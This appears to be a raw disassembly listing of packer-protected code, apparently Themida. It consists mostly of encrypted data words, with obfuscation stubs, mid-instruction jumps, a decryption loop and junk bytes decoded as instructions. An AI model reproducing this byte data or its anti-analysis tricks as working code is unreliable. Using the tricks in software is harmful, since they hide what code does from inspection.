dd 0FDFBE2D0h, 0EFA20D7Dh, 13E848h, 244A0000h, 0A6D57A0Ah
dd 0A9A6D195h, 5ED61E61h, 350E6854h, 810FD4h, 5A000000h
dd 1E7D8D89h, 0C28107FAh, 6016h, 68C6BF0Fh, 17DBh, 6872BB66h
dd 0FD85015Eh, 0FF07FA1Ch, 13E932h, 0C24F0000h, 0FC27411Ch
dd 0E73C5482h, 0FC9674C7h, 512DDEE3h, 0E98159BCh, 7B5D3225h
dd 68B0Fh, 9D330000h, 7FA0CBDh, 0DA52E981h, 858B47EFh
dd 7FA1609h, 9976F181h, 0E58A13B2h, 0CE951h, 0DC840000h
dd 9A5EA4F5h, 6F578C15h, 28F1386h, 3EA83F9h, 1F719D01h
dd 314A07FAh, 0FA0F99B5h, 1EE8307h, 0FF91850Fh, 0BD31FFFFh
dd 7FA3495h, 0CE8h, 0C000CE00h, 0C7C6533Ch, 0B01FCAEDh
dd 0BF6660AFh, 61F99E50h, 81C28B5Bh, 5884C3h, 28BA6600h
dd 16046878h, 0A8B80000h, 59393E03h, 7C1D1ABEh, 0FC33FF5Dh
dd 79B58B5Fh, 8107FA29h, 651720F7h, 3ABE6604h, 78C781ABh
dd 102E3E1h, 0FA0FA58Dh, 50C78107h, 0F567A2F1h, 79B58B57h
dd 8F07FA26h, 0B5895603h, 7FA25F1h, 4EB8358h, 21658D29h
dd 0F4907FAh, 0FFFFB885h, 0AD8D8DFFh, 6A080124h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 69C4C351h, 600BB2CEh, 12E922FAh, 0C5000000h, 91CFF529h
dd 0E4979CF7h, 0DE31CB4Bh, 0C6C7D9D3h, 0BD9D8943h, 2307FA0Ch
dd 0FA1D3D9Dh, 0D98D8907h, 0E907FA1Ch, 0Eh, 0D028A7D6h
dd 9D4704CAh, 0FE03E50Bh, 85C70639h, 7FA31ADh, 66ECh, 2CA59529h
dd 85C707FAh, 7FA2BD9h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5F5897
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F5897 proc near ; CODE XREF: Themida_:005F588Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5F5897 endp
; ---------------------------------------------------------------------------
cld
add [esi], ch
sub [ecx-940F030h], ah
push dword ptr [ebp+7FA2EA9h]
mov [ebp+7FA0135h], edx
call dword ptr [ebp+7FA1799h]
push 0
push edi
call sub_5F58CD
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F58CD proc near ; CODE XREF: Themida_:005F58C5p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5F58CD endp
; ---------------------------------------------------------------------------
align 2
xchg eax, ebp
mov esp, [edx]
jle short loc_5F5957
mov dx, 2A2Eh
push 0
call dword ptr [ebp+7FA1019h]
mov eax, eax
jmp short near ptr loc_5F5960+1
; ---------------------------------------------------------------------------
db 88h
dd 0A5BC99E1h, 0D0F02986h, 53AEAC62h, 364B4158h, 676DDD46h
dd 754C6C61h, 8E1694C3h, 83F99B09h, 554417E3h, 202857BFh
dd 0DA68D096h, 20738A96h, 0D2E721EBh, 7A9A47Eh, 9D37EEC3h
dd 2FE106FBh, 8DEB9C8Bh, 4B82BD01h, 0A5142279h, 82102AAEh
dd 9F3672A0h, 4AB9BB5Dh, 4668FC15h, 8C7017AFh
db 0A0h, 1Ch, 0BFh
; ---------------------------------------------------------------------------
loc_5F5957: ; CODE XREF: Themida_:005F58E1j
xchg eax, esp
mov dl, 0A9h
mov ch, 67h
jns short loc_5F59A4
outsb
out dx, al
loc_5F5960: ; CODE XREF: Themida_:005F58F1j
xor al, 8Dh
lea ebp, ds:6A080126h
add [edi-18h], dl
add eax, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 20h
; ---------------------------------------------------------------------------
pop edi
retn
; ---------------------------------------------------------------------------
pop edi
mov [esp+4], edi
add dword ptr [esp+4], 1Ah
inc edi
push edi
retn
; ---------------------------------------------------------------------------
dw 536h
dd 0CD1E267Ah, 99D290Fh, 8907FA29h, 0FA1CD98Dh, 59BD8907h
dd 0C707FA16h, 0FA31AD85h, 702407h
; ---------------------------------------------------------------------------
loc_5F59A4: ; CODE XREF: Themida_:005F595Cj
add [edx+0], ch
push edi
call sub_5F59B0
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F59B0 proc near ; CODE XREF: Themida_:005F59A8p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5F59B0 endp
; ---------------------------------------------------------------------------
fisubr dword ptr [bp+di-53h]
dec esi
adc bl, 0F4h
mov dword ptr [ebp+7FA2BD9h], 0
push 0
push ecx
call sub_5F59DD
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F59DD proc near ; CODE XREF: Themida_:005F59D5p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5F59DD endp
; ---------------------------------------------------------------------------
db 92h, 45h, 26h
dd 0D765FE97h, 58B0FDCh, 0BE000000h, 2346B936h, 8DA4E681h
dd 0B5FF6D2Ah, 7FA167Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 68C35747h, 9B7BDABEh, 9995FF1Fh, 6A07FA17h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 3F7DC355h, 4CA9DBB1h, 0D3963560h, 0AE9h
dd 518CAF00h, 4029A2Dh, 6AE8CCBFh, 1995FF00h, 8B07FA10h
dd 0E30EEBC0h, 192C2414h, 7C97C427h, 8E1C41A3h, 0E48D8D77h
dd 6A080126h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 8B56C351h, 8EEE2875h, 759D8BD1h
dd 8B07FA20h, 0FA2BF585h, 0D98D8907h, 0E907FA1Ch, 7, 24516528h
dd 66FE220Bh, 85C7F88Bh, 7FA31ADh, 5CDCh, 26E99D29h, 85C707FAh
dd 7FA2BD9h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5F5AEF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F5AEF proc near ; CODE XREF: Themida_:005F5AE7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5F5AEF endp
; ---------------------------------------------------------------------------
mov dl, 8Eh
lodsd
xor ecx, [ecx-5DDAA43h]
pop es
push dword ptr [ebp+7FA3391h]
mov edi, [ebp+7FA2559h]
call dword ptr [ebp+7FA1799h]
sub al, 39h
push 0
call dword ptr [ebp+7FA1019h]
mov eax, eax
jmp short loc_5F5B84
; ---------------------------------------------------------------------------
dw 0D67Fh
dd 512657CDh, 48189567h, 0BCA309E6h, 6052F717h, 453C52BBh
dd 0C2F1CD20h, 1EA03EDEh, 0D01DF5C7h, 0E9D84269h, 0DE525D54h
dd 3D83130Eh, 156E4FCAh, 0E4B59438h, 5F116971h, 5192D1E9h
dd 0F1723DBBh, 2F04F219h, 2FCDBE74h, 0E09B0A27h, 9F39D93Dh
dd 81486926h, 9EBD657Ch
; ---------------------------------------------------------------------------
loc_5F5B84: ; CODE XREF: Themida_:005F5B28j
call sub_5F5B93
sbb al, 92h
into
and eax, 0D7D8409Eh
fpatan
; =============== S U B R O U T I N E =======================================
sub_5F5B93 proc near ; CODE XREF: Themida_:loc_5F5B84p
; FUNCTION CHUNK AT 005F5C22 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005F5C7B SIZE 00000008 BYTES
mov dx, 0C599h
pop esi
mov di, cx
add esi, 65E2h
mov bx, cx
xor eax, eax
mov ebx, [ebp+7FA0631h]
loc_5F5BAC: ; CODE XREF: Themida_:005F5C1Bj
mov ecx, [esi+eax]
sub bl, 0FBh
sub ecx, 275F7AC3h ; CODE XREF: sub_5F5B93+90j
push eax
mov [ebp+7FA18DDh], edi
pop edx
add ecx, 472613B1h ; CODE XREF: sub_5F5B93+40j
sub ecx, 499FBB17h
call near ptr loc_5F5BD9+2
jge short near ptr loc_5F5BD7+1
jg short near ptr loc_5F5BC0+3
jnp short loc_5F5C22
loc_5F5BD7: ; CODE XREF: sub_5F5B93+3Ej
xor [ecx], cl
loc_5F5BD9: ; CODE XREF: sub_5F5B93+39p
test [esi+edx*2-4], esi
sub_5F5B93 endp ; sp-analysis failed
pop edi
pop edi
mov [esi+eax], ecx
sub [ebp+7FA266Dh], edi
sub eax, 2
mov [ebp+7FA06A9h], esi
dec eax
dec eax
mov di, cx
cmp eax, 0FFFF9AC4h
jnz loc_5F5C15
jo $+6
jmp near ptr loc_5F5C31+2
; ---------------------------------------------------------------------------
fdivr qword ptr [edx-49h]
push esi
push es
setalc
push esi
pop ss
loc_5F5C15: ; CODE XREF: Themida_:005F5BFCj
push ecx
mov bx, 0B5D1h
pop edi
jmp loc_5F5BAC
; ---------------------------------------------------------------------------
db 67h, 28h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F5B93
loc_5F5C22: ; CODE XREF: sub_5F5B93+42j
nop
jecxz short near ptr loc_5F5BB2+5
cmp esi, [edi-37h]
mov ah, 0D8h
wait
pop esi
inc edi
inc edi
cmpsb
ja short loc_5F5C7B
loc_5F5C31: ; CODE XREF: Themida_:005F5C08j
arpl [esi+28C58D8Dh], bx
add [eax], ecx
jz loc_5F5C45
mov [ebp+7FA01A5h], eax
loc_5F5C45: ; CODE XREF: sub_5F5B93+A6j
mov [ebp+7FA260Dh], edi
mov [ebp+7FA1CD9h], ecx
mov dword ptr [ebp+7FA31ADh], 7124h
push 0
push ecx
call sub_5F5C66
and [ecx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5F5B93
; =============== S U B R O U T I N E =======================================
sub_5F5C66 proc near ; CODE XREF: sub_5F5B93+CBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5F5C66 endp
; ---------------------------------------------------------------------------
dw 0DF2Bh
db 11h, 0F5h, 8Bh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F5B93
loc_5F5C7B: ; CODE XREF: sub_5F5B93+9Cj
xchg eax, ebp
add eax, 0E807FA26h
adc [eax], al
; END OF FUNCTION CHUNK FOR sub_5F5B93
; ---------------------------------------------------------------------------
db 0
dd 4142C800h, 0C2D53E0Dh, 0E991C95Ah, 0DED5A203h, 0D3BF662Fh
dd 85C75E93h, 7FA2BD9h, 0
; ---------------------------------------------------------------------------
push dword ptr [ebp+7FA243Dh]
push 0
push ebx
call sub_5F5CB5
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F5CB5 proc near ; CODE XREF: Themida_:005F5CADp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5F5CB5 endp
; ---------------------------------------------------------------------------
test [esi-4], edx
pop eax
sub [ebp+7FA34ADh], esi
call dword ptr [ebp+7FA1799h]
push 0
push ecx
call sub_5F5CE0
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F5CE0 proc near ; CODE XREF: Themida_:005F5CD8p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5F5CE0 endp
; ---------------------------------------------------------------------------
dd 5C951388h, 78CE5AAh, 0C1BED0CCh, 6A7DD040h, 1995FF00h
dd 8B07FA10h, 0DD5BEBC0h, 3CA572C9h, 32823AC6h, 40AF39C9h
dd 0F61DAB03h, 6D59FB0Eh, 0BBFD812Bh, 0AC4D5419h, 27BE0EE3h
dd 8CBA6A13h, 0ACF80A72h, 93EA5DDCh, 17F1680Dh, 4C5F0ED2h
dd 504F4CFEh, 4E382F98h, 765127DCh, 6F47F624h, 40ABA8F6h
dd 4DED302Fh, 0A506F7ABh, 84CD8588h, 0E0D65862h, 0D1E916EEh
dd 0FB000000h, 0D723758Bh, 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh
dd 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh
dd 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h
dd 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h
dd 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h
dd 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh
dd 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h
dd 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h
dd 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h, 74470000h
dd 0E0E3129Dh, 5E99h, 6 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5F744B
; ---------------------------------------------------------------------------
push 8012C20h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8012CFFh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8012DEBh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8012F17h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8012FC8h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 80130BCh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 801315Eh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 801321Ah
jmp loc_58B334
; ---------------------------------------------------------------------------
push 80132E9h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8013450h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8013512h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8013673h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 801377Bh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 80138E0h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8013A58h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8013C55h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 8013D7Dh
jmp loc_58B334
; ---------------------------------------------------------------------------
db 51h
dd 0F6A3D9C5h, 9F4C821Ch, 45F22876h, 0F19ED4CAh, 14487E20h
dd 599785Fh, 0ACF222CFh, 5747C976h, 0FF9F7421h, 86A2FAC9h
dd 7E7AD23h, 0A734EB51h, 78A2326Ch, 0EDFD7BBAh, 89B4108h
dd 0F1AD63B8h, 0EA973D66h, 0B6D73929h, 0E7C24D7Fh, 47D23B7Fh
dd 1E7FB51Eh, 4658B96Bh, 97314DDDh, 0DC07E1A4h, 87128C87h
dd 166FB85Eh, 5EF85F8Bh, 810207E1h, 6788C0C7h, 4326406Fh
dd 0B7000000h, 3ACA96F3h, 7635D0FAh, 9B4F6E78h, 0E7481C7Fh
dd 88F14AFFh, 0C66C32E3h, 0E1608452h, 0BE49A207h, 0E1602B92h
dd 5D9D3507h, 0E160DE41h, 0A26F0407h, 0DF4871FCh, 0F7FEB839h
dd 406F6CBFh, 0F15Dh, 6CA7EE00h, 0CF42A732h, 34DF44CFh
dd 997ADF6Ah, 0DE5BCF05h, 0A4FFE687h, 5A1DF36Fh, 0E687DB3Eh
dd 47B009FFh, 0F42A93BCh, 920C075Ch, 8B38DE07h, 3B8B1688h
dd 0C96F2FE6h, 0C032168h, 44992992h, 1E47D2CCh, 7C079779h
dd 0F915AD53h, 7E0A85Bh, 7E20F287h, 747DF15h, 0B13C62B2h
dd 0A7B91C88h, 8EE707E0h, 370287E8h, 0E0A7B81Bh, 0E085DE07h
dd 76066F2Fh, 0D5170C36h, 0F00AAD5Ah, 1892593Eh, 9B4112EDh
dd 0DDEEE427h, 0E979D20Fh, 7D5C7FA9h, 4954F59Fh, 471BF6A3h
dd 7833C3CAh, 802B2C76h, 0BE638C17h, 94BD4856h, 0C948F52Bh
dd 0BD17D5h, 538E999Bh, 1330B4h, 4F4FC700h, 0F8A66C19h
dd 9E0015C2h, 4A54BB68h, 0F4AA6714h, 0EED58ABEh, 98457B23h
dd 3FEC227Ch, 0EA97CDD1h, 703F7529h, 0AF99FC18h, 61C707E7h
dd 346AA7AAh, 0DCC251FEh, 96F3EFA6h, 0AE103ACAh, 0AF51F193h
dd 4B67FFA5h, 7E0C07Dh, 8E10055Ah, 0DE35DA03h, 78D11AC0h
dd 1E8093E8h, 31C46A93h, 0E0C09E05h, 0E610A807h, 0AE5F3D1Ch
dd 0DB5C02EBh, 4E285221h, 0E72691FAh, 0CC04D47Ah, 6A406EECh
dd 0C9h, 326CA7FBh, 93CF42A7h, 6D96217Dh, 0D04D7904h, 8AFFE687h
dd 47DF1589h, 8788EB07h, 55AEFFE6h, 8D1102AFh, 0C0A0E902h
dd 0A8761430h, 0CB2407E0h, 6CA8FD95h, 5E2B8C32h, 2567202h
dd 0C0FDD86h, 43CE23B3h, 0AFDC74Ah, 97001BACh, 415DB461h
dd 9B336F83h, 16B5F099h, 1251h, 0F82E70A6h, 0A1D7C74Bh
dd 477D21F4h, 0F329759Ah, 9DD3CB46h, 46CBB469h, 9F752258h
dd 0F41CC9FFh, 4CC774AAh, 0F54D1C52h, 0E7AF76D9h, 7F369C07h
dd 0E8277CBCh, 82E74AB6h, 0B40DFFE6h, 0D98060Fh, 80913EE4h
dd 21648E1Eh, 933A64EAh, 76DFBF52h, 0D15C42D1h, 2CC402A8h
dd 96FEC2ECh, 2855D441h, 0E74F59BCh, 882E87FFh, 306638DBh
dd 326CA779h, 0D9C54DA2h, 0D83BA033h, 32E390C6h, 54BDE130h
dd 0F9A56FC4h, 0C9F456Eh, 390692BCh, 0D7B28349h, 0F8F8431h
dd 3DE700D9h, 4484144Ch, 0ED7826EFh, 0AAF558C4h, 0C21BFFE6h
dd 6668841Ch, 4C07E0B1h, 0EC52B6F3h, 0CBFF6AE1h, 0A20C6F8Bh
dd 0E13AF056h, 0B1AFDA3Bh, 0C5170521h, 6AC3F850h, 9DC3C6DFh
dd 6467F10Dh, 227BFF6Eh, 0C8D63D92h, 702EE592h, 0EA3F34B2h
dd 3BDA1569h, 1165h, 0E41A8492h, 8DC3DB37h, 336935E0h
dd 0DF158986h, 89BFDF32h, 5AB7A055h, 0B3610E44h, 808B5EBh
dd 60B36096h, 0E139083Eh, 0E7B062C5h, 732A9007h, 0A7326CA7h
dd 0D565FB8Eh, 0E0A277B9h, 0CAF15B07h, 0B550DE5h, 0A90A40A9h
dd 0D4F080E0h, 0FDB269Eh, 83C353ACh, 26C42743h, 99F2FFE7h
dd 0E726CA2Dh, 0F99FF8FFh, 26D33A66h, 5CDDFFE7h, 32639BA2h
dd 31013875h, 92000000h, 3ACA96F3h, 0E0D31D1Eh, 0E132C707h
dd 84C454BDh, 0D2C52844h, 92EB07E0h, 0CDD13FECh, 0D2BE2397h
dd 8F8407E0h, 0E42CD90Fh, 0BE902FBAh, 29000010h, 0F1AD67BCh
dd 0C19FEA4Bh, 0AD871531h, 9AC407E7h, 8A687525h, 1064DEF0h
dd 0A19153ABh, 9DF63FE5h, 435BB80Dh, 0EBB3600Dh, 1E424760h
dd 0C439728Eh, 67BC0FE8h, 44DF3ABh, 4DC61BABh, 0A56E1B51h
dd 0FF1469F9h, 65AF149Fh, 972AD039h, 0F7190B7Eh, 0B6CC896h
dd 0C62FB9DBh, 19A9123Bh, 0C7524CC4h, 9281249Eh, 0FABEA6C4h
dd 3EA0BC54h, 6407E0E1h, 0D6AE93FAh, 0EA535EFFh, 6774A42Ch
dd 0AB4A859Eh, 1039h, 104658BEh, 0B9EFAF63h, 5F95090Ch
dd 0B415DB2h, 0B5EBB35Eh, 2EE3CC81h, 878D3A70h, 0DC34E117h
dd 34DF8CC2h, 0D65346Ah, 0E7B28EF1h, 974EB407h, 0FD607CBCh
dd 0D4FFE682h, 0E68355B8h, 0E1227BFFh, 0C2797F77h, 0D942E8EEh
dd 0E258BF33h, 0F737FFE6h, 0E6E278DBh, 9F459EFFh, 85154B3Eh
dd 6D20F045h, 8940451h, 68F35C47h, 237B9A3Fh, 55C96F98h
dd 7E86924h, 0F449D932h, 0AFEF7F1Fh, 0E8173093h, 7B23F207h
dd 0FD3BE13Ah, 0F083B65h, 7EC02A4Bh, 0B6E82BD8h, 0E977122Bh
dd 4CC41959h, 0F638AC52h, 0DC0FE1D8h, 8837C583h, 0D9149666h
dd 0F883Ah, 0F7A76F00h, 0A0FE14C1h, 4658BD6Ah, 0F2AC6310h
dd 9C020FBCh, 967D3266h, 40ED237Bh, 0E794CAD4h, 923F7529h
dd 18E71D81h, 0B241A4C0h, 96F07E7h, 0B6CA752h, 0E6838CEFh
dd 0EC4F6BFFh, 1AFFE682h, 0BE2780C1h, 283AD92Eh, 32CB7E7h
dd 0FC61F49Ah, 0FEFC8717h, 0B71A3676h, 0DDFFE683h, 83DE415Dh
dd 0AB04FFE6h, 611B9C42h, 0C6D83D92h, 7B98123Bh, 0E43BBE38h
dd 0E119E98Fh, 0C83874E4h, 58FEA073h, 93F77h, 0CBE72700h
dd 0FFE6D568h, 2EB9E52Ah, 0C56BC405h, 8E96F30Eh, 648D1886h
dd 2B4F6BFBh, 5307E7ACh, 51406AFAh, 0A646948Ch, 75CF49Ah
dd 0EC4F6B0Ch, 0E107E79Eh, 81453302h, 3B94D580h, 7F1842D2h
dd 257997E2h, 0E8F7719Ah, 8F0F00DDh, 0CC72DB04h, 6C32E18Eh
dd 0D74EB5E1h, 256407E7h, 4D8FAB3Bh, 790FE1F6h, 0EAA66220h
dd 6CA79666h, 0E94CDh, 0EBB36300h, 940A08B5h, 3A64B15Eh
dd 0E6B85704h, 900E03B0h, 8A71265Ah, 34E11787h, 0DB88BEE0h
dd 86336935h, 0CDB118Dh, 0B33598B4h, 0F55B07E7h, 326CA73Eh
dd 0F81778A2h, 7B05275Ah, 36DD42D5h, 6EDFDD68h, 675ADB4h
dd 81133875h, 0C3000008h, 0F6046783h, 0B232FFE6h, 0E6F63396h
dd 9F0861FFh, 79E042F9h, 8FFFE683h, 81D666FAh, 5C85108Eh
dd 1E021EB6h, 4807E7ADh, 0CA1F5FEFh, 2AF5549h, 0DCC25111h
dd 89BF2851h, 0DC6737DCh, 0A9AC6C3h, 0E1CBACEEh, 83419A0Fh
dd 9666979Dh, 0F2E483BEh, 500000Dh, 0AA578D11h, 53003668h
dd 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch, 0B9E52C13h, 603ED683h
dd 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh, 7E7B4D7h, 0BCE097FDh
dd 4EF4AA67h, 0A12C72A1h, 37C7D73Ch, 8378DBF7h, 459EFFE6h
dd 9E4C6CBh, 0D87EFE2Ah, 1CD64745h, 74FEDD15h, 7D27B38h
dd 0F30C0000h, 1E3ACA96h, 7E7AD4Fh, 0F64F44Dh, 0E00A9A04h
dd 65818254h, 7E87B02h, 3D5DD730h, 0E1BD559Dh, 0E794D278h
dd 0BBE7722Ch, 7E79654h, 6B33DE33h, 0B011B7E0h, 213B76D9h
dd 51DAFD7Eh, 0FA3C58E8h, 990FE1F3h, 43CED044h, 0BEAFA01Ah
dd 5EC70AF2h, 58166FB8h, 96669C80h, 36AF4E89h, 0C100000Dh
dd 66134955h, 0FBCF2ACh, 0B5629806h, 610E445Ah, 84B8EEB0h
dd 7529E8CFh, 1C82923Fh, 0C7D739E6h, 6F2FE491h, 0F6126A39h
dd 7E7B593h, 0A7A45BC1h, 42A7326Ch, 0E83DCDD1h, 3ED17727h
dd 0E15CF40h, 38748AD6h, 72774h, 7EE00500h, 8CFFE683h
dd 0B6E827FDh, 999022Bh, 0E7ACFBEDh, 0C152E707h, 161F63DDh
dd 82112E62h, 0E1348919h, 0C6E232BDh, 7E80A63h, 29CF3891h
dd 0C7D73C91h, 6F2FE491h, 385494E4h, 7E80AD5h, 9BFCA2FBh
dd 0C6E272EEh
dd 0FE236CCh, 0E3BB56ABh, 4A74F43Dh, 382E65EBh, 0BD208C09h
dd 940FE202h, 0E2021578h, 0A1E23B0Fh, 2A20521h, 77D00FE2h
dd 0FF627E0Eh, 250FE201h, 0FFA563CCh, 0CC9666DEh, 0C67F291h
dd 86900000h, 0DD35E218h, 37DE8BC1h, 8B843167h, 0E130DD13h
dd 9E5387BDh, 0C425CB5h, 0B3E9B55Fh, 5E940A06h, 63C62B1h
dd 60C3DF37h, 8607E7B5h, 6CA76920h, 352EF221h, 0C750421h
dd 0A7F71C81h, 15CF001Ch, 9180E231h, 0DF59820Dh, 0A9159AD2h
dd 5E94FD8Ch, 7492568Eh, 168F438h, 0A7850000h, 42A7326Ch
dd 3697CDD1h, 617D0D53h, 7E0ADC7h, 0C1DD378Ch, 67CAE636h
dd 8D07E0ADh, 0DC25CB34h, 65CCF883h, 6F07E0ADh, 3B6534EEh
dd 41AF356Ch, 1FEF951Bh, 406F1BE7h, 4A85h, 67BC1600h, 0EB4CF2ACh
dd 1632C29Eh, 7E09C48h, 48ABC707h, 0A07E09Bh, 0E10A9509h
dd 58A147A0h, 0E14874FFh, 0EB07E09Ah, 56BE1353h, 2894BD48h
dd 7E09BC5h, 4A9A07B2h, 0A2E3458Fh, 6822A349h, 6F4B2961h
dd 0C4C740h, 0A7580000h, 8CEF0B6Ch, 0BAFFE683h, 4955BC61h
dd 0A12C95BEh, 3EC9D53Ch, 0D4643AD9h, 83157894h, 38D7FFE6h
dd 26CC2566h, 0B9E52E93h, 0AFA20F83h, 0C3EDFFE6h, 0E3E77DA4h
dd 0E49137BEh, 0B5DF6F2Fh, 63AD6A95h, 0D87B03Bh, 6C1208BEh
dd 0A4BCCD2Eh, 0E222F814h, 8CE107E3h, 0B5110687h, 0B0DD5C54h
dd 0FF58A147h, 0A7F71A6Fh, 8E84D971h, 54BD6A10h, 0D6A40723h
dd 79D207E2h, 0F28E5210h, 346F9E61h, 0B0095h, 7F1FF700h
dd 28769C49h, 0CED045F2h, 7A24EB98h, 247A9744h, 1E05BAEEh
dd 0C875ABF3h, 6F1C524Ch, 1AC7FDA1h, 0A06FA5F9h, 0B7C92C48h
dd 91F707E7h, 0D6AA7DAh, 0E6838EF1h, 0F25BB4FFh, 9A040FBCh
dd 67BCAD64h, 0A24FF5A9h, 3DA22D71h, 0AB92C8D6h, 4E8h
dd 0EAAA3963h, 63E60FEDh, 96F306BDh, 81E3ACAh, 9607E0A4h
dd 1F86B23Dh, 2907E0A3h, 0F51FEEA8h, 0D3192AD6h, 7727EBF2h
dd 6098680Eh, 0FE406EF8h, 1E8h, 8380E08Fh, 0FB8EFFE6h
dd 0CDB9D565h, 1907E7ACh, 38DB30C0h, 7A96D666h, 7E7AC17h
dd 3EE43Dh, 53DEC053h, 81114F3Ah, 0E1D86B65h, 40FE570Fh
dd 9666A476h, 3E791853h, 0B900000Ah, 5E0B415Dh, 7B4EAB4h
dd 0AD5A900Eh, 59063C62h, 7CB0E6B8h, 6D31E0C7h, 148A8A37h
dd 0BFDF31DEh, 6737DC89h, 0EE0A6231h, 7E7B88Bh, 0A79C53B9h
dd 7F1FF66Ch, 2A468616h, 0FFE683C7h, 0E4BA58EDh, 21C73059h
dd 0B4EA298Eh, 5846CF24h, 6BFEA4CDh, 80641E4Fh, 5D50B93h
dd 38748FCDh, 14B6Bh, 6CA7FC00h, 0D142A732h, 533697CDh
dd 0EA287D0Dh, 36760EB4h, 0E46F2FE1h, 7A115BBh, 4C07E0AEh
dd 0DD1F9A22h, 0A072095Ah, 0A6EF95FEh, 109B0311h, 0C7F37EE7h
dd 7E10260h, 602FE96Ah, 527E0F36h, 0ED93743Fh, 6F74E51Dh
dd 208340h, 0F3140000h, 1E3ACA96h, 7E09C50h, 3E6AF54Eh
dd 7E09BD7h, 9FA660E1h, 406EA767h, 0CC05h, 7CBC9600h, 0E682FD60h
dd 24CA23FFh, 77029C77h, 0F9FFF12h, 50D55BAh, 7CE50E99h
dd 2285A1F1h, 50FFE683h, 55E88EF7h, 8BF1DB05h, 69D91534h
dd 758B32EFh, 0BB61E70Dh, 0E99050Eh, 0FE346AA9h, 0E7332D8Ah
dd 7E20F3FFh, 2F92AEEEh, 6FFE691h, 0E69187EAh, 1354ADFFh
dd 75D614BAh, 0A0BC4C14h, 7E370CAh, 9AEF7FD8h, 59F12777h
dd 28D1104h, 0BEE034D9h, 0D1A66B18h, 54127591h, 0E74007E3h
dd 0E354187Bh, 7CE53E07h, 617086BEh, 0ED8CC79Eh, 8DDh
dd 6CA2FC1Ah, 154B53BFh, 0BBF1AD68h, 679D010Eh, 114757BAh
dd 0D23F28DDh, 2BE996CCh, 80903D73h, 0D83BE81Eh, 69C190C6h
dd 0E7B8EA4Dh, 0FBB21807h, 0FE346AA7h, 0A6DCC251h, 326CA7EFh
dd 0CDD142A7h, 7727E83Dh, 0CDAC93D1h, 45000002h, 3ACA96F3h
dd 2A35D0FAh, 7BBE2778h, 0E6B7AC0Fh, 0DB81DAFFh, 0E1952743h
dd 0D74107E7h, 0DBF7E9CAh, 7E7E378h, 0FCCB459Eh, 0A4C050A4h
dd 7E79E41h, 22AD166Fh, 0E4937DD2h, 0E79E65C8h, 0C9328B07h
dd 9E48AF23h, 0D15207E7h, 21F34817h, 23C9F27Dh, 75AA1B53h
dd 247B940h, 29690000h, 7C4B39FFh, 0E854F900h, 7E7F285h
dd 0F5AC52ABh, 0E68380E0h, 65FB8EFFh, 0AD1FB9D5h, 1F7407E7h
